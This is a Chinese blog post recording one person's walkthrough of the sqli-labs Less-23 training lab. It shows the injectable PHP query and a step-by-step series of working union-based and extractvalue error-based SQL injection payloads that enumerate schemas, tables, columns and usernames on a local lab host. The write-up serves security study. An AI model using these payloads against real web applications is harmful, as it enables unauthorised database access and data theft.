Sqli-labs Less23 错误型联合查询 - GET

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 23: GET - Error based - stip comments

  1. 测试漏洞

    使用测试语句 ?id=1’

     http://10.10.10.137/sqli-labs/Less-23/?id=1%27
    

    显示错误信息

     You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    

    说明是基于错误的注入

    使用 union 联合查询

     http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,@@datadir,'3
    

    在这里插入图片描述

    源代码中

     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    此时的 SQL 语句为

     SELECT * FROM users WHERE id='-1' union select 1,@@datadir,’3’ limit 0,1
    

    以上构造的语句需要讲解几个知识点

  2. 解释:

    1. 为什么要用 id=-1

      因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个 select 要没有结果,所以 -1 或者超过数据库所有数据都可以。

    2. 如何构造

      -1’ union select 1,@@datadir,’3,第一个’(单引号)闭合 -1,第二个’(单引号)闭合后面的。这样将查询内容显示在username 处。

    3. 注入方法

      此处可以报错注入, 延时注入, 可以利用 ’ or ‘1’=’1 进行闭合。

       报错注入:
       http://10.10.10.137/sqli-labs/Less-23/?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='
      
  3. 联合注入猜测数据库

     http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
    

    在这里插入图片描述

    此处获取的数据库为 security

  4. 联合注入查看 security 库数据表

     http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
    

    在这里插入图片描述

  5. 联合注入查看 users 表的所有列

     http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3
    

    在这里插入图片描述

  6. 联合注入获取内容

     http://10.10.10.137/sqli-labs/Less-23/?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3
    

    在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值